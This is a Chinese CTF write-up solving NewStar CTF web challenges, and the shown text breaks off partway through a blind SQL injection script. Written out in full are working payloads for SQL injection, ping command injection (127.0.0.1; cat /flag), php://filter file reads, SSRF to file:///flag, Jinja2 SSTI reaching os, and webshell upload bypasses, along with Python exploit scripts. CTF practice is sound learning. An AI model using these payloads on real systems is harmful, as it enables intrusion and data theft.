【CTF | 比赛篇】Newstar ctf web

文章目录
week1
multi-headach3
什么叫机器人控制了我的头?
【难度:简单】
dirsearch扫目录:

找到/robots.txt,访问:

访问hidden.php:

翻译提示,f12打开捕获流量包,发现flag:

flag{eb4580e7-21e4-4446-9dba-4fb51d9cf051} strange_login
题目内容:
我当然知道1=1了!?
【难度:简单】

经典登录框,经典提示,万能密码admin' or 1=1 #:

flag{26cbccab-3a76-46f9-a770-7e8cb0b10d96} 宇宙的中心是php
题目内容:
所有光线都逃不出去…但我知道这不会难倒你的
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:简单】
访问题目:

发现只是一个页面,习惯性使用f12,发现打不开,Ctrl+u也不行,最后使用ctrl+shift+I打开,发现:

访问s3kret.php:

<?php highlight_file(__FILE__);include"flag.php";if(isset($_POST['newstar2025'])){$answer=$_POST['newstar2025'];if(intval($answer)!=47&&intval($answer,0)==47){echo$flag;}else{echo"你还未参透奥秘";}}审计后发现,要求POST输入newstar2025的值满足:
intval($answer)(默认按十进制或通过 (int) 强制转换)不是 47,且intval($answer, 0)(第二个参数为 0 时让 PHP 自动根据字符串前缀判断进制)等于 47。
输入0x2F即可满足:

flag{c0c8fc92-fd89-42e6-aa83-2b14c3e22bcf} 黑客小W的故事(1)
题目内容:
NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。
【难度:中等】
第一个挑战:

抓包发现:

修改count字段为1000000:


这里需要截取包然后修改发送,才能正常跳转:
第二关:


看不懂,看提示:

原来是需要get传参shipin,参数值为mogubaozi:

能看懂了,这里post要传入的应该是前文提到过的guding:

这里需要使用DELETE方法传入chongzi,截取改包:

成功:


访问/Level2_END,第三关:

与HTTP协议有关:

根据提示,修改ua头:

还需要升级版本。
访问/Level4_Sly:

flag{9fef7934-2c71-4225-813d-849df714c8fa} 我真得控制你了
题目内容:
小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈
【难度:中等】


审计js代码:
// 检查保护层状态functioncheckShieldStatus(){const shield = document.getElementById('shieldOverlay');const button = document.getElementById('accessButton');if(!shield){ button.classList.add('active'); button.disabled =false;}else{ button.classList.remove('active'); button.disabled =true;}}checkShieldStatus();setInterval(checkShieldStatus,500); document.getElementById('accessButton').addEventListener('click',function(){if(!document.getElementById('shieldOverlay')){ document.getElementById('nextLevelForm').submit();}}); document.addEventListener('contextmenu',function(e){ e.preventDefault();});(function(){ document.addEventListener('keydown',function(e){// F12if(e.keyCode ===123){ e.preventDefault();showDevToolsWarning();}// Ctrl+Shift+I (Windows/Linux)if(e.ctrlKey && e.shiftKey && e.keyCode ===73){ e.preventDefault();showDevToolsWarning();}// Ctrl+Shift+J (Windows/Linux)if(e.ctrlKey && e.shiftKey && e.keyCode ===74){ e.preventDefault();showDevToolsWarning();}// Cmd+Option+I (Mac)if(e.metaKey && e.altKey && e.keyCode ===73){ e.preventDefault();showDevToolsWarning();}// Cmd+Option+J (Mac)if(e.metaKey && e.altKey && e.keyCode ===74){ e.preventDefault();showDevToolsWarning();}// Ctrl+U (查看源代码)if(e.ctrlKey && e.keyCode ===85){ e.preventDefault();showDevToolsWarning();}});let devtools =false;const threshold =160;functioncheckDevTools(){const widthThreshold = window.outerWidth - window.innerWidth > threshold;const heightThreshold = window.outerHeight - window.innerHeight > threshold;const orientation = widthThreshold ?'vertical':'horizontal';if(!(heightThreshold && widthThreshold)&&((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized)|| widthThreshold || heightThreshold)){ devtools =true;showDevToolsWarning();}else{ devtools =false;}}setInterval(checkDevTools,1000);functionshowDevToolsWarning(){const warning = document.getElementById('devToolsWarning'); warning.style.display ='flex'; document.addEventListener('keydown',functioncloseWarning(e){if(e.key ==='Escape'){ warning.style.display ='none'; document.removeEventListener('keydown', closeWarning);}});}if(typeof console !=="undefined"){if(typeof console.log !=='undefined'){ console.log=function(){};}if(typeof console.warn !=='undefined'){ console.warn=function(){};}if(typeof console.error !=='undefined'){ console.error=function(){};}if(typeof console.info !=='undefined'){ console.info=function(){};}}})();为了绕过JS限制,我们在浏览器Console里运行:
document.getElementById('nextLevelForm').submit();这会绕过所有按钮/遮罩限制,直接提交表单

成功绕过,来到下一关,这一关提示弱口令,尝试了几个弱口令成功登入:admin/111111

<?phperror_reporting(0);functiongenerate_dynamic_flag($secret){returngetenv("ICQ_FLAG")?:'default_flag';}if(isset($_GET['newstar'])){$input=$_GET['newstar'];if(is_array($input)){die("恭喜掌握新姿势");}if(preg_match('/[^\d*\/~()\s]/',$input)){die("老套路了,行不行啊");}if(preg_match('/^[\d\s]+$/',$input)){die("请输入有效的表达式");}$test=0;try{ @eval("\$test = $input;");}catch(Error$e){die("表达式错误");}if($test==2025){$flag=generate_dynamic_flag($flag_secret);echo"<div>拿下flag!</div>";echo"<div><div>FLAG: {$flag}</div></div>";}else{echo"<div>大哥哥泥把数字算错了: $test ≠ 2025</div>";}}else{?><?php }?>审计php代码:
- 允许的字符只有:
0-9,*,/,~,(,), 空白。
(由preg_match('/[^\d*\/~()\s]/', $input)限定) - 禁止纯数字/空白(
/^[\d\s]+$/会拒绝),所以必须包含至少一个运算符(*、/、~、())。 - 最终执行:
@eval("\$test = $input;");,判断$test == 2025。 - flag 来源是环境变量
ICQ_FLAG(否则返回default_flag)。
因为 45 ∗ 45 = 2025 45*45=2025 45∗45=2025,且*属于允许字符,所以payload为:newstar=45*45
GET传参即可:

flag{c6582a80-afdd-4ef9-8088-a15455bc30cf} 别笑,你也过不了第二关
题目内容:
不是哥们,说白了你有啥实力啊,
过关不是简简单单
【难度:简单】

前端记分:
const game = document.getElementById("game");const player = document.getElementById("player");const scoreEl = document.getElementById("score");const levelEl = document.getElementById("level");let score =0;let steps =0;let maxSteps =10;// 每关掉落数量let targetScores =[30,1000000];// 每关目标分数let currentLevel =0;// 0 表示第一关let gameEnded =false;let finishSpawned =false;let playerX =180;let gateInterval =null; document.addEventListener("keydown",(e)=>{if(e.key ==="ArrowLeft")movePlayer(-100);if(e.key ==="ArrowRight")movePlayer(100);});functionmovePlayer(offset){let newX = playerX + offset;if(newX <0|| newX >340)return; playerX = newX; player.style.left = playerX +"px";}functionspawnGate(){if(steps >= maxSteps || gameEnded || finishSpawned)return; steps++;const gate = document.createElement("div"); gate.className ="gate";let x = Math.random()<0.5?60:260; gate.style.left = x +"px";let isAdd = Math.random()<0.5;if(isAdd){ gate.dataset.value =10; gate.style.backgroundImage ="url('2.jpg')";}else{ gate.dataset.value =-10; gate.style.backgroundImage ="url('1.jpg')";} game.appendChild(gate);let y =0;const fall =setInterval(()=>{ y +=5; gate.style.top = y +"px";const playerRect = player.getBoundingClientRect();const gateRect = gate.getBoundingClientRect();if(!(playerRect.right < gateRect.left || playerRect.left > gateRect.right || playerRect.bottom < gateRect.top || playerRect.top > gateRect.bottom)){ score +=parseInt(gate.dataset.value); scoreEl.innerText ="分数: "+ score;clearInterval(fall); gate.remove();if(steps >= maxSteps &&!finishSpawned)spawnFinishLine();}if(y >600){clearInterval(fall); gate.remove();if(steps >= maxSteps &&!finishSpawned)spawnFinishLine();}},50);}functionspawnFinishLine(){ finishSpawned =true;const finish = document.createElement("div"); finish.className ="finish-line"; finish.style.left ="0px"; game.appendChild(finish);let y =0;const fall =setInterval(()=>{ y +=5; finish.style.top = y +"px";const playerRect = player.getBoundingClientRect();const finishRect = finish.getBoundingClientRect();if(!(playerRect.right < finishRect.left || playerRect.left > finishRect.right || playerRect.bottom < finishRect.top || playerRect.top > finishRect.bottom)){clearInterval(fall); finish.remove();endLevel();}if(y >600){clearInterval(fall); finish.remove();endLevel();}},50);}functionendLevel(){if(gameEnded)return;clearInterval(gateInterval); gateInterval =null;if(score >= targetScores[currentLevel]){alert(`恭喜通过第 ${currentLevel +1} 关!得分: ${score}`); currentLevel++;if(currentLevel < targetScores.length){// 下一关resetLevel(currentLevel);startGame();}else{// 全部通关 gameEnded =true;const formData =newURLSearchParams(); formData.append("score", score);fetch("/flag.php",{ method:"POST", headers:{"Content-Type":"application/x-www-form-urlencoded"}, body: formData.toString()}).then(res=> res.text()).then(data=>{alert("服务器返回:\n"+ data);}).catch(err=>{alert("请求失败: "+ err);});}}else{alert(`第 ${currentLevel +1} 关未达成目标分数 (目标: ${targetScores[currentLevel]}),将重新开始本关!`);resetLevel(currentLevel);startGame();}}functionresetLevel(levelIndex){ score =0; scoreEl.innerText ="分数: "+ score; steps =0; finishSpawned =false; levelEl.innerText ="关卡: "+(levelIndex +1);[...game.querySelectorAll('.gate, .finish-line')].forEach(e=> e.remove());}functionstartGame(){ gateInterval =setInterval(spawnGate,1500);}startGame(); document.addEventListener("visibilitychange",()=>{if(document.hidden){if(gateInterval){clearInterval(gateInterval); gateInterval =null;}}else{if(!gameEnded &&!gateInterval){ gateInterval =setInterval(spawnGate,1500);}}});审计js代码发现,可以在控制台直接作弊:
score =1000000;// 直接满足目标分数endLevel();// 触发关卡结束逻辑

flag{8a6f2ab9-9b7e-4274-90bf-efbe94277b14} week2
DD加速器
题目内容:
D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器…
【难度:简单】

ping的命令执行,使用;拼接:
127.0.0.1; ls

127.0.0.1; cat /flag

瞅瞅环境变量:127.0.0.1; env

flag{9cacf6f4-5cc9-4cef-99a8-97c51b2953be} 搞点哦润吉吃吃橘
题目内容:
Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题…
【难度:简单】

开局一个登录框,尝试弱口令无果,ctrl+u查看源代码,发现提示:

<!-- 唔...这个密码有点难记,但是我已经记好了 Doro/Doro_nJlPVs_@123 -->
根据提示,抓包查看后端逻辑:


根据验证流程写exp:
#!/usr/bin/env python3# coding: utf-8import requests import re import time import sys BASE ="https://eci-2ze6zyo0m8laq9swg77e.cloudeci1.ichunqiu.com:5000"# 登录表单(你提供的) LOGIN_PATH ="/login" START_PATH ="/start_challenge" VERIFY_PATH ="/verify_token" USERNAME ="Doro" PASSWORD ="Doro_nJlPVs_%40123"# 注意:这是示例,生产环境请妥善保管凭据deflogin(session: requests.Session)->bool: url = BASE + LOGIN_PATH session.headers.update({"Origin": BASE,"Referer": BASE +"/login","Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Sec-Fetch-Site":"same-origin","Sec-Fetch-Mode":"navigate","Sec-Fetch-User":"?1","Sec-Fetch-Dest":"document",}) data =f"username={USERNAME}&password={PASSWORD}" resp = session.post(url, data=data, allow_redirects=False)print("[login] status:", resp.status_code)print("[login] headers:", resp.headers)if"Set-Cookie"in resp.headers and"session="in resp.headers["Set-Cookie"]and"Expires=Thu, 01 Jan 1970"notin resp.headers["Set-Cookie"]:print("[login] 登录成功 ->", resp.headers["Set-Cookie"])returnTrueprint("[login] 登录失败,响应内容:", resp.text[:300])returnFalsedeffetch_challenge(session: requests.Session): url = BASE + START_PATH resp = session.post(url)print("[start_challenge] status:", resp.status_code)try: data = resp.json()except Exception as e:print("[start_challenge] 无法解析为 JSON:", e)print("Response body:", resp.text[:500])returnNonereturn data defparse_and_compute_token(data:dict):# 优先使用单独字段(如果存在)if"multiplier"in data or"xor_value"in data:try: multiplier =int(data.get("multiplier"))if data.get("multiplier")isnotNoneelseNoneexcept Exception: multiplier =None xor_raw = data.get("xor_value") xor_value =Noneif xor_raw isnotNone:try:ifisinstance(xor_raw,str)and xor_raw.lower().startswith("0x"): xor_value =int(xor_raw,16)else: xor_value =int(xor_raw)except: xor_value =None# 如果 expression 字段存在且包含 time.time() 的指示,优先使用实时 time expr = data.get("expression","")if"time.time"in expr or"int(time.time"in expr: tsource =int(time.time())else:# 没有 time.time 的话,尝试从 expression 中提取第一个数字(作为左侧时间戳) m =Noneif expr: m = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)if m: tsource =int(m.group(1))else:# 如果没有 expression 且没有明确时间源,使用当前时间(较保险) tsource =int(time.time())if multiplier isNone:# 若 multiplier 字段不存在,尝试从 expression 中提取 expr = data.get("expression","") m2 = re.search(r'\*\s*(\d+)\s*\)', expr)if m2: multiplier =int(m2.group(1))if multiplier isNoneor xor_value isNone:raise ValueError("无法从响应中解析 multiplier 或 xor_value。data: {}".format(data)) token =(tsource * multiplier)^ xor_value return token,{"tsource": tsource,"multiplier": multiplier,"xor_value": xor_value,"method":"fields_or_expr"}# 如果没有单独字段,尝试从 expression 字段解析 expr = data.get("expression")ifnot expr:raise ValueError("响应既没有 'expression',也没有 'multiplier' / 'xor_value' 字段。data: {}".format(data))# 判断 expression 是否包含 int(time.time())if"time.time"in expr: tsource =int(time.time())else:# 尝试提取表达式中的左侧数字(形如 (1759715000 * 53475) ) m_time = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)if m_time: tsource =int(m_time.group(1))else:# 兜底使用当前时间 tsource =int(time.time())# 提取 multiplier m_mul = re.search(r'\*\s*(\d+)\s*\)', expr)ifnot m_mul:raise ValueError("无法从 expression 提取 multiplier。expr: {}".format(expr)) multiplier =int(m_mul.group(1))# 提取 xor 值(支持 0xHEX 或 十进制) m_xor = re.search(r'\^\s*(0x[0-9a-fA-F]+|\d+)', expr)ifnot m_xor:raise ValueError("无法从 expression 提取 xor_value。expr: {}".format(expr)) xor_raw = m_xor.group(1) xor_value =int(xor_raw,16)if xor_raw.lower().startswith("0x")elseint(xor_raw) token =(tsource * multiplier)^ xor_value return token,{"tsource": tsource,"multiplier": multiplier,"xor_value": xor_value,"method":"expr"}defsubmit_token(session: requests.Session, token): url = BASE + VERIFY_PATH payload ={"token": token}# 显式声明本次请求为 JSON,覆盖全局 Content-Type resp = session.post(url, json=payload, headers={"Content-Type":"application/json"})print("[verify_token] status:", resp.status_code)try:print("[verify_token] json:", resp.json())except Exception:print("[verify_token] text:", resp.text[:1000])return resp defmain(): s = requests.Session() s.headers.update({"User-Agent":"auto-token-bot/1.0","Accept":"*/*",}) ok = login(s)ifnot ok:print("登录失败,停止。请检查用户名/密码或网络。")return data = fetch_challenge(s)if data isNone:print("无法获取挑战数据,停止。")returnprint("challenge data:", data)try: token, info = parse_and_compute_token(data)except Exception as e:print("解析/计算 token 失败:", e)returnprint("计算得到 token =", token,"(详情:", info,")")# 立即提交 resp = submit_token(s, token)if __name__ =="__main__": main()
flag{c596b46c-3c82-4416-9e70-538104015062} 白帽小K的故事(1)
题目内容:
小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!
【难度:困难】

文件上传漏洞,前端校验,抓包修改后缀名



通过/v1/onload接口获取上传路径


确定上传成功,但是不知道为何无法利用,没办法,只能上传执行phpinfo()试试:

成功解析:

复制为html文件:

flag{741a9681-2e6c-4486-b767-557e907c8863} 小E的管理系统
题目内容:
小E开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小E特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的SQL拼接——你能绕过小E的防火墙,拿到数据库里的秘密吗?
【难度:困难】
本题考查sql注入过滤与报错注入:

防火墙过滤了空格,单引号,幸运的是其为数字型的报错注入:
使用%0a绕过空格

发现没有databases()函数,猜测可能不是mysql数据库,经过探测,确定是sqllite:

这里是因为查询列数与显示不一样,所以报错,接下来探测列数:

确定是5列,构造:
-1UNIONselect*FROM(SELECT0)AS A CROSSJOIN(SELECT2)AS B CROSSJOIN(SELECT2)AS C CROSSJOIN(SELECT3)AS D CROSSJOIN(SELECT4)AS E 替换空格:
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE 
查询数据库版本号:
-1UNIONselect*FROM(SELECT0)AS A CROSSJOIN(SELECT2)AS B CROSSJOIN(SELECT sqlite_version())AS C CROSSJOIN(SELECT3)AS D CROSSJOIN(SELECT4)AS E -1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asqlite_version())%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE 
查看表名和字段名:
sqlfrom sqlite_master -1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asql%0afrom%0asqlite_master)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE 
发现有一个sys_config表,表内的字段为:id,config_key,config_value。
使用
select*from user_data 因为这里,被ban了,*的话无法输出,只能挨个查询具体的值,最后使用:
-1UNIONselect*FROM(SELECT0)AS A CROSSJOIN(SELECT2)AS B CROSSJOIN(select config_value from sys_config)AS C CROSSJOIN(SELECT3)AS D CROSSJOIN(SELECT4)AS E # 编码后-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(select%0aconfig_value%0afrom%0asys_config)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE 
flag{1148f076-61cb-457a-818f-d910ef21b142} 真的是签到诶
题目内容:
到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?
【难度:签到】
访问拿到:
<?phphighlight_file(__FILE__);$cipher=$_POST['cipher']??'';functionatbash($text){$result='';foreach(str_split($text)as$char){if(ctype_alpha($char)){$is_upper=ctype_upper($char);$base=$is_upper?ord('A'):ord('a');$offset=ord(strtolower($char))-ord('a');$new_char=chr($base+(25-$offset));$result.=$new_char;}else{$result.=$char;}}return$result;}if($cipher){$cipher=base64_decode($cipher);$encoded=atbash($cipher);$encoded=str_replace(' ','',$encoded);$encoded=str_rot13($encoded); @eval($encoded);exit;}$question="真的是签到吗?";$answer="真的很签到诶!";$res=$question."<br>".$answer."<br>";echo$res.$res.$res.$res.$res;?> 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 审计后发现,这是一个webshell解码执行的题目,经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容,所以构造我们的payload:
cat /flag cipher (Base64 输入) ↓ base64_decode ↓ Atbash (字母翻转) ↓ 去掉空格 ↓ str_rot13 ↓ eval() dW91dGlhKCJrbXRcMDQwL2hibWciKTs= 
flag{8b3bf25f-b724-4f06-9197-ba25bd749249} week3
ez-chain
题目内容:
铁索连环!无懈可击…?
【难度:简单】
<?phpheader('Content-Type: text/html; charset=utf-8');functionfilter($file){$waf=array('/',':','php','base64','data','zip','rar','filter','flag');foreach($wafas$waf_word){if(stripos($file,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}functionfilter_output($data){$waf=array('f');foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}while(true){$decoded=base64_decode($data,true);if($decoded===false||$decoded===$data){break;}$data=$decoded;}foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}if(isset($_GET['file'])){$file=$_GET['file'];if(filter($file)!==true){die();}$file=urldecode($file);$data=file_get_contents($file);if(filter_output($data)!==true){die();}echo$data;}highlight_file(__FILE__);?>审计发现,漏洞点在file_get_contents,可以使用伪协议进行任意文件读取,但是waf限制了部分伪协议,并且要求读到的文件内容中不能带有f字样.
分析程序逻辑,首先读入file参数值:
if(isset($_GET['file'])){$file=$_GET['file'];if(filter($file)!==true){die();}$file=urldecode($file);$data=file_get_contents($file);if(filter_output($data)!==true){die();}echo$data;}首先进入filter函数中:
functionfilter($file){$waf=array('/',':','php','base64','data','zip','rar','filter','flag');foreach($wafas$waf_word){if(stripos($file,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}这里会不分大小写,匹配这些字符,如果匹配,程序退出,绕过这里,只需要url双重编码即可.
接下来经过一次url解码,执行file_get_contents()后,进入filter_output()
functionfilter_output($data){$waf=array('f');foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}while(true){$decoded=base64_decode($data,true);if($decoded===false||$decoded===$data){break;}$data=$decoded;}foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}它会对读取文件的内容进行判断,匹配是否存在f,也不区分大小写.然后,如果是被base64编码过的内容,就会循环解码,直到不能解码为止.
所以我们的思路很明确,利用url双重编码使用php://filter伪协议读取文件内容,然后对文件内容先进行rot13编码读取flag.
payload:
php://filter/string.rot13/resource=/flag https://eci-2zeblwpcf451usd1p6ji.cloudeci1.ichunqiu.com:80/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37 

flag{8847b675-528e-4ee8-aab6-ff3a854b53bc} mygo!!!
题目内容:
mygo的音乐好好听,要全部下下来,flag也可以顺手(
【难度:简单】

访问题目,点了首歌,听起来不错,源码中发现异常:

原来是ssrf,但是限制http协议,

扫描目录发现有flag.php,但是直接访问是403.

所以使用ssrf访问:
<?php$client_ip=$_SERVER['REMOTE_ADDR'];// 只允许本地访问if($client_ip!=='127.0.0.1'&&$client_ip!=='::1'){header('HTTP/1.1 403 Forbidden');echo"你是外地人,我只要\"本地\"人";exit;}highlight_file(__FILE__);if(isset($_GET['soyorin'])){$url=$_GET['soyorin'];echo"flag在根目录";// 普通请求$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,false);// 直接输出给浏览器curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);curl_setopt($ch,CURLOPT_BUFFERSIZE,8192);curl_exec($ch);curl_close($ch);exit;}?>审计一下,发现可以利用前面可转发的ssrf来绕过本地访问,剩下的伪协议直接出:
https://eci-2ze30n5xe2nckmepbw6d.cloudeci1.ichunqiu.com:80/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag 
flag{a8fe31b5-aad7-4dc1-9bda-3e21daff103f} 小E的秘密计划
题目内容:
小E最近在秘密研发一个代号为“Project X”的系统。然而,小E在开发和部署过程中,习惯性地留下了许多“不经意”的痕迹——无论是临时的备份,还是版本管理上的小疏忽,甚至是Mac系统自动生成的文件,都可能成为你解开“Project X”秘密的关键…
【难度:简单】

静态页面,没啥好看的,直接开扫:

发现存在系统备份文件,访问下载:

可以直接访问public,进入到登录页面,已经提醒无法爆破,只能另寻他法.

进入到public目录下,发现存在.git文件夹,想到可能是考的git泄露.
git log 查看提交记录:

使用
git show --name-only commit 看到删除的提示:

git show -p 查看删除的文件内容:

好像没有,返回来审计login.php,发现
<?phprequire_once'user.php';$userData=getUserData();if($_SERVER['REQUEST_METHOD']==='POST'){$username=$_POST['username']??'';$password=$_POST['password']??'';if($username===$userData['username']&&$password===$userData['password']){header('Location: /secret-xxxxxxxxxxxxxxxxxxx');exit();}else{echo'登录失败,在git里找找吧';exit();}}账号密码都在user.php中,所以需要从git中恢复user.php.
在.git/logs/HEAD文件中发现其中隐含一个测试的brach,会被删除.

查看这个提交:
git ls-tree -r --name-only 353b98f7c2fe77a5a426bf73576f5113820c4669 
使用git show commit -b查看文件内容

用户名密码为:admin/f75cc3eb-21e0-4713-9c30-998a8edb13de

进入之后提示mac,所以是.DS_Store文件泄露,直接在当前路径拼接下载并查看内容:

拼接中间的ffffllllaaaagggg114514,拿到flag

flag{e08813e1-a595-464c-85c5-67b474f83601} mirror_gate
题目内容:
小M是一名安全爱好者,他为自己搭建了一个个人文件上传服务。他声称:“我的服务器只允许上传合法且安全的文件,其他任何类型的文件都会被无情地拒绝!”
然而,真的是这样吗?请设法找出他系统中的应用配置缺陷,突破上传限制。
【难度:中等】
文件上传,并且支持上传的类型为:

后端进行类型及文件内容的校验,所以只能看允许的文件内有没有可以解析的,先绕过内容检测:
<?phpinfo();?>
对<?php有过滤,将允许的文件后缀挨个改包然后访问查看响应结果,发现.webp可以被解析



flag{fd8af3ec-7983-4724-ad82-e3f84149346f} who’ssti
题目内容:
写代码的时候调试忘记删了!?算了不管了!S 属性大爆发!快来和我一起 SSTI 吧!
【难度:中等】
from flask import Flask, jsonify, request, render_template_string, render_template import sys, random func_List =["get_close_matches","dedent","fmean","listdir","search","randint","load","sum","findall","mean","choice"] need_List = random.sample(func_List,5) need_List =dict.fromkeys(need_List,0) BoleanFlag =False RealFlag =__import__("os").environ.get("ICQ_FLAG","flag{test_flag}")# 清除 ICQ_FLAG__import__("os").environ["ICQ_FLAG"]=""deftrace_calls(frame, event, arg):if event =='call': func_name = frame.f_code.co_name # print(func_name)if func_name in need_List: need_List[func_name]=1ifall(need_List.values()):global BoleanFlag BoleanFlag =Truereturn trace_calls app = Flask(__name__)@app.route('/', methods=["GET","POST"])defindex(): submit = request.form.get('submit')if submit: sys.settrace(trace_calls)print(render_template_string(submit)) sys.settrace(None)if BoleanFlag:return jsonify({"flag": RealFlag})return jsonify({"status":"OK"})return render_template_string('''<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="UTF-8"> <title>首页</title> </head> <body> <h1>提交你的代码,让后端看看你的厉害!</h1> <form action="/" method="post"> <label for="submit">提交一下:</label> <input type="text" name="submit" required> <button type="submit">提交</button> </form> <div> <p> 尝试调用到这些函数! </p> {% for func in funcList %} <p>{{ func }}</p> {% endfor %} <div> <p> 你目前已经调用了 {{ called_funcs|length }} 个函数:</p> <ul> {% for func in called_funcs %} <li>{{ func }}</li> {% endfor %} </ul> </div> </body> <script> </script> </html> ''', funcList = need_List, called_funcs =[func for func, called in need_List.items()if called])if __name__ =='__main__': app.run(host='0.0.0.0', port=5000, debug=False)ai一把梭:
{%set __imp =''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['__builtins__']['__import__']%}{%set _os = __imp('os')%}{%set _re = __imp('re')%}{%set _difflib = __imp('difflib')%}{%set _textwrap = __imp('textwrap')%}{%set _statistics = __imp('statistics')%}{%set _random = __imp('random')%}{%set _json = __imp('json')%}{%set _io = __imp('io')%}{# 通过 io.StringIO 提供一个可读的 JSON 文件对象,以便触发 json.load 的函数名 "load" #}{%set _f = _io.StringIO('"x"')%}{# 下面依次调用目标函数(尽量覆盖 need_List 里可能的名字) #}{%set a = _difflib.get_close_matches('a',['a'])%}{%set b = _textwrap.dedent(' x')%}{%set c = _statistics.fmean([1,2,3])%}{%set d = _os.listdir('.')%}{%set e = _re.search('a','a')%}{%set f = _random.randint(1,2)%}{%set g = _json.loads('"x"')%}{%set h = _json.load(_f)%}{%set i = _re.findall('.','a')%}{%set j = _statistics.mean([1,2])%}{%set k = _random.choice([1,2])%} Rendered.
flag{12c4c60d-6a52-4515-85a0-90052c4e6b2b} 白帽小K的故事(2)
题目内容:
小 K 在泰拉大陆上漫步的过程中,遇到了形形色色的人,她把这些人记录在了她的超维空间数据库中。但是突生变故让她丢失了终端的控制权,只留下了备用终端。可是这个终端只有一个检查用户状态的接口,只有获取到数据库中的神秘代码才能够重新夺回控制权。帮她夺回权限吧!
【难度:中等】
盲注,通过字典fuzz之后发现,可以使用()来绕过对空格的过滤,这里给出自动化的脚本.
exp:
#!/usr/bin/env python3# -*- coding: utf-8 -*-import requests import time import sys import argparse # ---------------- 配置区(请按需修改) ---------------- URL ="https://eci-2ze67tlhfafcfkym7tjr.cloudeci1.ichunqiu.com:80/search" HEADERS ={"Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (compatible)"}# 发送时的前后缀(保持你给出的格式) PREFIX ="name=amiya'and(" SUFFIX =")#"# 超时/重试/节流 TIMEOUT =6 RETRIES =2 SLEEP =0.03# 每请求间隔,默认 30ms(可根据靶场调整) DEBUG =False# True 打印每条请求与响应,调试时开启# 可选:空格绕过(把空格替为 /**/ 等),但既然要无空格风格,默认 False SPACE_BYPASS =False SPACE_REPLACEMENT ="/**/"# ----------------- HTTP 与判断函数 -----------------defsend_payload_raw(cond):if SPACE_BYPASS: cond = cond.replace(" ", SPACE_REPLACEMENT) payload =f"{PREFIX}{cond}{SUFFIX}" last_exc =Nonefor attempt inrange(RETRIES +1):try:if DEBUG:print(f"[DBG] -> {payload}") resp = requests.post(URL, data=payload, headers=HEADERS, 